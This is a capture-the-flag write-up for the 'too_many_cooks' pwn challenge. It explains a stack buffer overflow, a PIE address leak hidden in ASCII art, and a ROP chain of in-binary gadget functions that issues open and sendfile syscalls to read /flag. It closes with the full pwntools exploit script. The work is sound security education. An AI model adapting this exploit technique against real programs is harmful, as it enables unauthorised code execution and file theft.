Oh no! Something awfull happened and we let too many cooks cook up this challenge. I hope you can still get something edible out of it…
Category: pwn
Solver: computerdores, hack_the_kitty
Flag: GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!}
Writeup
The challenge binary presents you with a menu to select from. One can select a main dish and a desert.
Welcome to our dining hall! Please select a dish:
-[pizza] A nice and fresh pizza
-[gulasch] It's GPN, it's night and I'm programming. The only thing missing is a hot plate of gulasch!
-[burger] Borgir!
-[leek_soup] A deliciously hearty leek soup. Yum!
-[desert] Give me my dessert! \o/
Selecting pizza, for example, you’ll be greeted by a nice ASCII art pizza:
Here's your Pizza:
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⢠⡠⣄⢠⡂⠺⠁⠫⠭⠂⠉⠉⠧⠰⢀⠤⡤⣀⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠁⡐⠈⠚⠑⠃⠀⠀⢠⣴⣆⠀⠄⣠⢶⠐⣑⠤⠨⡐⠀⣉⠟⢓⠢⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡄⠴⠾⡿⠁⠀⠀⠑⢰⣶⢾⡽⣛⡯⠟⢢⠛⡐⣈⠌⠃⠍⢁⢈⠜⣀⠥⠅⡝⠔⠁⠘⡩⡀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⠈⢑⢀⠔⠑⢘⠃⡞⠥⢢⣾⣿⣾⣿⢿⣭⡙⠞⠓⡐⠊⠌⣥⣾⣾⣷⣷⣿⡖⢸⠘⠰⡄⣀⠓⠤⡙⠱⠤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⡀⢊⠔⠂⠠⢂⣠⡾⡀⠋⠾⡭⢷⣿⣿⣿⣿⣿⣿⢿⡄⡄⡱⠠⣵⣿⣿⣿⣿⣟⣿⣷⡀⢀⡀⣸⢀⢄⠀⡁⣡⡄⡉⠅⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠊⢀⠠⣄⠤⣹⡿⢟⣾⣯⣄⣨⠂⠸⣿⣿⣿⢿⢿⣻⣿⠟⠠⠁⠀⣿⣿⣿⣟⣿⡽⣟⣿⢠⢀⠅⢀⠔⠋⢰⢸⡵⠴⣉⡄⠋⢆⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⡆⢀⡎⠺⡨⣓⢋⣾⣿⣿⣿⣿⣿⣯⠀⡙⠛⢿⣿⣾⠾⠋⠂⢓⠤⡀⠀⠻⢿⡿⣿⠿⠯⠋⠂⠌⣴⣾⣿⣿⣷⣾⡈⠐⠺⢿⡀⡀⠁⠀⠀⠀⠀⠀
⠀⠀⠀⡒⢐⠄⠂⢋⢑⡀⢿⣿⣿⣿⣽⣾⣻⣿⡂⠎⠂⣀⠂⠄⢂⠤⣴⣶⣶⣶⣤⡀⢄⠀⠄⠢⢠⠀⠀⢯⣿⣿⣿⣟⡿⣿⣿⣜⣮⠈⣿⢞⠐⣱⡀⠀⠀⠀
⠀⠀⠋⢂⠊⣠⡔⢜⠐⢠⠊⢿⣿⣿⣿⣿⣿⠟⠁⠀⠡⠰⢅⢎⠒⣾⣿⣿⢿⢿⣿⣷⣾⠠⢊⢕⡙⠀⢈⠼⣿⣿⣿⣿⢿⣿⣿⡟⠷⠭⠁⣿⣤⠀⣷⠀⠀⠀
⠀⣾⡘⢣⡤⡝⠉⢀⢀⡌⡑⡈⠙⠓⠻⠋⠁⣀⣴⣶⣤⣄⢀⠠⠃⣿⣿⣟⣿⣯⣿⣯⡇⠀⠀⠈⢰⡡⠊⠇⠘⠿⣽⣯⠟⠟⡁⣂⠱⢸⠂⠈⠉⢱⢎⠡⠀⠀
⠀⡏⠀⠐⣾⢰⣳⢿⣿⣿⣿⣧⣔⠢⣠⠚⣸⣿⣯⣿⣿⣿⣧⡁⡈⠈⠻⣿⣾⣯⡟⠋⠀⡄⣠⣾⣿⣿⣿⣷⣆⠀⡑⠁⡡⡄⠉⠠⡐⡈⣦⣀⠀⣯⡇⢎⡄⠀
⣸⢃⠊⢼⡗⣸⣷⣿⣿⣿⣿⣿⣧⢚⠐⠀⢻⣿⣿⣻⣽⣿⣻⠀⠀⡀⠔⢂⠡⠃⠀⠀⣤⠑⣾⣟⣷⣿⣻⣿⣿⡇⠀⠈⡗⣰⣐⣀⣤⡉⣼⡋⢅⣛⣂⠠⢳⠀
⡟⡄⠀⢻⠦⠙⣿⣿⣿⣞⣿⣿⡟⠀⠅⢄⠄⠋⠽⠽⠿⠋⠁⡀⢨⣾⣶⣶⣶⣷⣄⠄⢈⠈⢿⣯⣿⣏⣿⣿⣿⢆⢀⣣⣿⣿⣿⣿⣿⣿⣦⠨⡀⢈⡉⠇⢻⡀
⡏⠄⣴⡻⢙⢤⣛⠿⠿⠿⠻⡉⡐⡲⠸⢀⣴⣷⣶⣄⠄⠀⠈⢲⣿⣿⣿⣿⣿⣾⣿⡆⠀⢐⡕⠃⢻⠿⠿⠛⡁⠀⠀⢻⣿⣿⣿⣿⣿⣻⣿⡄⠁⣴⡟⡵⢠⠀
⡗⠂⡹⡷⡌⠨⠽⣠⣐⡀⠐⠅⠑⠑⣴⣾⣿⣿⢿⣿⣦⡀⠀⠘⣿⣿⣿⣿⣿⣿⡿⢇⣀⢨⠑⠠⡪⠄⣦⣴⣥⣴⡀⠚⣿⣿⣽⣯⣿⣿⡟⢁⣀⠙⠁⡁⠮⠀
⣷⠄⢘⡷⣰⣾⣿⣿⣿⣿⣿⣆⣀⠴⣿⣿⣿⡿⣿⣿⣿⣷⠂⡀⠹⢿⣿⡾⣿⡷⠟⠀⠂⡁⣤⡆⠇⣾⣿⡿⣿⣿⣿⣆⠉⠛⠻⢯⠟⠉⠀⠅⢊⡀⣖⢹⣼⠆
⢿⠣⡀⣽⡷⣿⣿⣿⣿⣿⠿⣿⣇⢂⡻⣿⣿⣟⣿⣿⡿⠋⠀⠁⠀⡀⢈⠝⣋⣤⣶⣶⣶⣬⡻⢇⠀⣿⣟⣿⢿⣾⣿⡏⠀⠎⡓⠅⢣⡪⠀⣠⡛⣽⡟⡆⢸⠀
⠘⡧⢠⣗⣽⢿⣿⣿⣿⣿⣿⣿⠇⠈⠁⡌⠻⡛⠛⠩⢆⣡⣄⢤⢀⠢⠂⢠⣿⣿⡿⣿⣿⣻⣷⣦⠂⡈⠻⢿⠿⠿⢪⣡⣶⣾⣥⣆⠀⠀⠮⠼⣿⣿⢿⡩⠓⠀
⠀⠹⡀⢻⣿⣆⠟⠻⠿⠿⢛⡁⣠⣫⣀⣔⣌⠲⠀⢠⣾⣿⢻⣿⢿⣷⡜⢸⣿⣿⣿⣾⣿⣿⣿⢃⠌⠠⠋⠥⠓⢠⣾⢿⣹⣿⣿⣿⣷⡀⠰⢾⡤⣝⠂⣠⠁⠀
⠀⠀⢓⠇⡻⢿⡼⢀⠨⣀⡔⣡⣿⣻⣿⣿⣿⣄⡋⢹⣿⣿⣿⣿⢾⣿⡂⠌⠛⣿⣿⣿⣳⠗⡩⢆⠟⠘⠔⠠⣈⢸⣿⣿⣿⣿⣿⣿⣿⣙⣫⣿⣏⠁⠀⠇⠀⠀
⠀⠀⠀⢧⠌⢐⡙⢆⣊⣏⢈⣿⣿⣿⡿⣽⣝⣿⠅⡨⠻⢿⣿⡾⠿⠋⢀⡀⡽⣭⢱⠹⣊⢞⣄⣴⣶⣶⣶⣥⡈⠈⠻⣿⣿⣿⣿⣿⢋⣾⠶⡃⢛⢉⡐⠀⠀⠀
⠀⠀⠀⠈⢻⣄⠒⡼⣣⡶⣦⢿⣿⣿⣿⣿⣿⡟⠙⣡⡢⡀⢀⢤⣴⣾⣿⣿⣿⣾⣥⡔⠤⢫⣿⣿⣿⣿⣿⣿⣷⣀⠑⡀⣍⠿⣻⠶⠟⠁⠀⣀⢊⠈⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠙⢿⣌⢣⠄⠀⠙⢿⣛⢙⠛⠡⠀⠚⡂⢷⣶⠞⢹⣿⣿⣿⣻⣿⢟⣿⢤⠐⠸⣿⣿⣾⣻⣿⣽⣿⣃⣵⠚⠈⡌⠀⠀⠴⠀⠞⡀⠊⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⢷⣌⢢⡈⠹⠇⢔⡼⣇⡄⠄⠊⠁⣂⡂⢸⣿⣿⣻⣿⣽⣿⣿⣣⠠⠀⠙⢷⣿⡿⣿⡿⣟⣿⣅⠂⠈⢠⣶⣠⡄⢰⠋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠷⣦⣴⢀⢨⠹⡛⢮⠽⢶⡌⢀⢀⠒⠈⢛⠻⡿⠿⢏⣙⠻⣾⠀⣤⣆⡆⣤⣄⠺⢝⡛⢊⠀⠀⠀⠋⡱⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠛⢷⣗⡂⠉⠾⢇⣧⡽⣧⢍⣨⠔⢩⢽⡖⢫⣝⡌⣦⠈⡽⡛⠻⠻⢙⡙⠉⢀⣄⠡⠔⡡⠄⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠣⢦⣪⡉⠪⠯⠜⠻⢖⣿⣿⠆⠈⠓⠀⠀⠛⢌⠁⢀⣀⢀⠔⣠⡿⠌⠃⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠻⠴⠶⠤⠦⠤⠔⠀⢤⡴⡄⠤⠆⠑⠊⠃⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
Sadly, this doesn’t directly gave us an idea how the binary could be exploitable. A buffer overflow, however, seemed likely as a starting point.
Analyzing the Binary In Ghidra
The binary didn’t have its symbols stripped, so we can see methods like dinner
, desert
and so on.
dinner
here definitely is an interesting function, as it provides input for the user!
Having a look at how the functions takes the user’s input, we see a fgets
call with a length parameter of 4096 bytes from stdin
.
The buffer that take the input, however, is only 16 bytes long. Hah! Classic Buffer overflow.
And more interestingly, the dinner
function comes without stack canary check – as compared to the main function
, for example…
This means that we’re free to override the return address on the stack.
The stack is not executable, though. We need to find something like ROP gadgets.
Still, we now know an attack vector but still do not really know how to exploit the overflow to get the flag that is placed in the file system at /flag
.
The Weird serve
Function
Amongst the normal functions for serving the dinner like serve_pizza
, there is also a generic serve
function that doesn’t seem to be called from anywhere.
Having a look at what this function does, we find that it:
- allocates 3 bytes of anonymous memory with
mmap
, those bytes are marked as writable - checks whether a
dish_index
is selected (we do not know, what this is, yet!) - accesses two bytes from the
kitchen
array and writes those to the allocated memory (the array is 48 bytes in length) - copies the
0xc3
byte to the third of the allocated bytes- Note that
0xc3
is the opcode forret
in x86!
- Note that
- marks the allocated memory as executable by changing the protection bits of the allocated memory with
mprotect
- calls this allocated memory as a function
- before doing so, it moves the first 64-bit value in the
kitchen
array intorax
- furthermore it passes the next three 64-bit integers from the
kitchen
array as arguments (in therdi
,rsi
andrdx
registers)
- before doing so, it moves the first 64-bit value in the
- unmaps the allocated memory.
Basically, it allows for executing two bytes.
What a coincident! ;) The opcode for syscall
in x86-64 is 0f 05
so… two bytes!
If we could only control the two executed bytes, as well as the arguments in rax
, rdi
, rsi
and rdx
, we could successfully execute any syscall with 3 or less arguments that we want!
As we know where the flag is in the file system (/flag
as always), we could execute an open
syscall and print the data in the opened file descriptor to stdout
(which is unbuffered by the main
function) with the sendfile
syscall.
Finding Gadgets
The binary contains more functions that do not seem to be called anywhere.
Amongst them, there are cool
and heat
as well as salt
and pepper
.
The later ones modify the dish_index
: salt
increases the dish_index
by one, pepper
decreases it.
Both function apply a modulo 48 operation.
heat
and cool
on the other hand respectively increase or decrease the values in the kitchen
array based on the dish_index
, where dish_index
is the byte index into the kitchen
array.
Those functions would allow us to modify the two bytes being used in the serve
function as well as the parameters passed to the function.
With the buffer overflow described above, we can create a ROP-chain with those gadgets so that we control the fields just as we want.
One last hurdle is that PIE is enabled on the binary, so we cannot statically pass the addresses of the function to the overflow because of ASLR - we just do not know them. We would need some kind of address leak.
The Lee(a)k Soup
All the serve functions print some kind of ASCII art.
One function has a hint in its name: serve_leek
.
With a little bit of randomness, it tells us its own address within the ASCII art.
Yeah… this wasn’t really fun parsing with pwntools… :|
The Finished Exploit
So the plan is with those functions is to:
- Prepare an
open
syscall- place the syscall number
2
into the first 64-bit value ofkitchen
- place the
"/flag"
file path in the 5th value of kitchen, as the first argument toopen
must be a string pointer. Note that we do not know how to get a valid pointer to that string, though! - place the yet-to-find pointer to the string into the second 64-bit value of kitchen
- place the “readonly” flag in the third 64-bit value of kitchen
- call the
serve
function
- place the syscall number
- Prepare the
sendfile
syscall- again, place the syscall number 40 for
sendfile
into the first 64-bit value ofkitchen
- place the stdout file descriptor number 1 into the second value
- place the newly opened file descriptor’s number into the third value. As the file doesn’t open other files, this number is very likely to be 3 (
stdin
= 0,stdout
= 1,stderr
= 2, our’s is 3) - place
NULL
in the third argument - Note that we would need to provide a length as a fourth argument to
sendfile
. According to the assembly the value inrcx
at the time of the call is some pointer. The address pointed to by the pointer is likely to be large enough to print the flag. - again, call the
serve
function
- again, place the syscall number 40 for
And indeed, we are greeted with the flag: GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!}
. 🥳🍕
The complex interaction of the gadget functions and the parsing of the leak can be seen down below.
#!/usr/bin/env python3
from pwn import *
from pwnlib.elf import elf
from pwnlib.util.packing import p64
from math import ceil
ELF, LEEK, PATH = None, None, None
INC_VAL, INC_IDX, DEC_VAL, DEC_IDX = None, None, None, None
DBL_VAL, EXC_VAL = None, None
def input_sel(p, selection: bytes):
p.recvuntil(b"for your selection: ")
p.sendline(selection)
def select(p, selection: bytes, read = True):
input_sel(p, selection)
if read:
return p.recvuntil(b"Welcome")[:-7]
else:
return None
def leak_via_leek(p):
input_sel(p, b"leek_soup")
p.recvuntil(br" %%% %%%%% %%%%%")
index = p.recv(numb=1)[0]-ord('0')
read = []
p.recvuntil(b"9084019048700")
read.append(p.recv(numb=15))
if index > 0:
p.recvuntil(br"%%%*3010")
read.append(p.recv(numb=15))
if index > 1:
p.recvuntil(br"%%4470634947682243266378903880")
read.append(p.recv(numb=15))
if index > 2:
p.recvuntil(b"%#3249")
read.append(p.recv(numb=15))
if index > 3:
p.recvuntil(br"%0917779825523131271683423008")
read.append(p.recv(numb=15))
if index > 4:
p.recvuntil(b"%%623075963451692433760220882**378548380720*15284747658")
read.append(p.recv(numb=15))
if index > 5:
p.recvuntil(b"%%*4321293")
read.append(p.recv(numb=15))
if index > 6:
p.recvuntil(b"*+80624162+*")
read.append(p.recv(numb=15))
if index > 7:
p.recvuntil(b"%%+19508536741856613777630410503")
read.append(p.recv(numb=15))
if index > 8:
p.recvuntil(b"%%+78252141368908973292357069")
read.append(p.recv(numb=15))
addr = int(read[-1], 10)
p.recvuntil(b"for your selection: ")
p.sendline(b"main")
return addr - LEEK
def move(to: int, curr: int):
off = to - curr
outp = []
if off >= 0:
for i in range(off):
outp.append(INC_IDX)
else:
for i in range(-off):
outp.append(DEC_IDX)
return outp
def set_value(to: int, curr: int):
if curr == to:
return []
outp = [DBL_VAL]
# clear curr
for i in reversed(range(8)):
if to & (2**i):
outp += [INC_VAL]
outp += [DBL_VAL]
return outp[:-1]
def init(elf_path: str):
global ELF, LEEK, PATH
PATH = elf_path
ELF = elf.ELF(PATH)
LEEK = ELF.symbols["serve_leek"]
p = process(PATH)
#p = remote("xxx.ctf.kitctf.de", "443", ssl=True)
context.terminal = ['tmux', 'splitw', '-h']
#pid = gdb.attach(p, gdbscript='b heat\nb flip\nb salt\nb cool\n b pepper\nb serve')
global OFFSET
OFFSET = leak_via_leek(p)
global INC_VAL, INC_IDX, DEC_VAL, DEC_IDX, DBL_VAL, EXC_VAL
INC_VAL = OFFSET + ELF.symbols["heat"]
INC_IDX = OFFSET + ELF.symbols["salt"]
DEC_VAL = OFFSET + ELF.symbols["cool"]
DEC_IDX = OFFSET + ELF.symbols["pepper"]
DBL_VAL = OFFSET + ELF.symbols["flip"]
EXC_VAL = OFFSET + ELF.symbols["serve"]
addr_of_file_path = p64(OFFSET + ELF.symbols['kitchen'] + 32)
global EXPLOIT
# We can issue syscalls with 3 arguments.
# RAX (=syscall no) is the first thingy in kitchen.
# The three arguments are the second to fourth thingy in kitchen.
#
# The general idea is:
# 1. open syscall with file path '/flag'
# 2. sendfile syscall
#
# To do so, we need to prepare the kitchen with the gadgets given by the binary.
EXPLOIT = [
*set_value(2, 0),
*move(8, 0),
*set_value(addr_of_file_path[0], 0),
*move(9, 8),
*set_value(addr_of_file_path[1], 0),
*move(10, 9),
*set_value(addr_of_file_path[2], 0),
*move(11, 10),
*set_value(addr_of_file_path[3], 0),
*move(12, 11),
*set_value(addr_of_file_path[4], 0),
*move(13, 12),
*set_value(addr_of_file_path[5], 0),
*move(14, 13),
*set_value(addr_of_file_path[6], 0),
*move(15, 14),
*set_value(addr_of_file_path[7], 0),
# now the flag buffer.
*move(32, 15),
*set_value(ord('/'), 0),
*move(33, 32),
*set_value(ord('f'), 0),
*move(34, 33),
*set_value(ord('l'), 0),
*move(35, 34),
*set_value(ord('a'), 0),
*move(36, 35),
*set_value(ord('g'), 0),
# readonly is 0x0, so now trigger open syscall
*move(40, 36),
*set_value(0x0f, 0),
*move(41, 40),
*set_value(0x05, 0),
EXC_VAL,
# sendfile is 40 (decimal)
*move(48, 41),
*set_value(40, 2),
# to stdout
*move(8, 0),
*set_value(1, addr_of_file_path[0]),
*move(9, 8),
*set_value(0, addr_of_file_path[1]),
*move(10, 9),
*set_value(0, addr_of_file_path[2]),
*move(11, 10),
*set_value(0, addr_of_file_path[3]),
*move(12, 11),
*set_value(0, addr_of_file_path[4]),
*move(13, 12),
*set_value(0, addr_of_file_path[5]),
*move(14, 13),
*set_value(0, addr_of_file_path[6]),
*move(15, 14),
*set_value(0, addr_of_file_path[7]),
# from opened file
*move(16, 15),
*set_value(3, 0),
# the fourth argument is some pointer according to the disassembly, so we hope it is large enough to print the flag \o/
# syscall is already there, only move index
*move(41, 16),
EXC_VAL,
]
return p
def exploit(p):
payload = b"aaaaaaaaaaaaaaaaaaaaaaaa"
for gad in EXPLOIT:
step = p64(gad)
print(step)
payload += step
select(p, payload)
select(p, b"yogurt", False)
def acc_frames(p):
for i in range(ceil(len(EXPLOIT)/2)):
select(p, b"")
select(p, b"main")
if __name__ == "__main__":
p = init("./too_many_cooks")
acc_frames(p)
exploit(p)
p.interactive()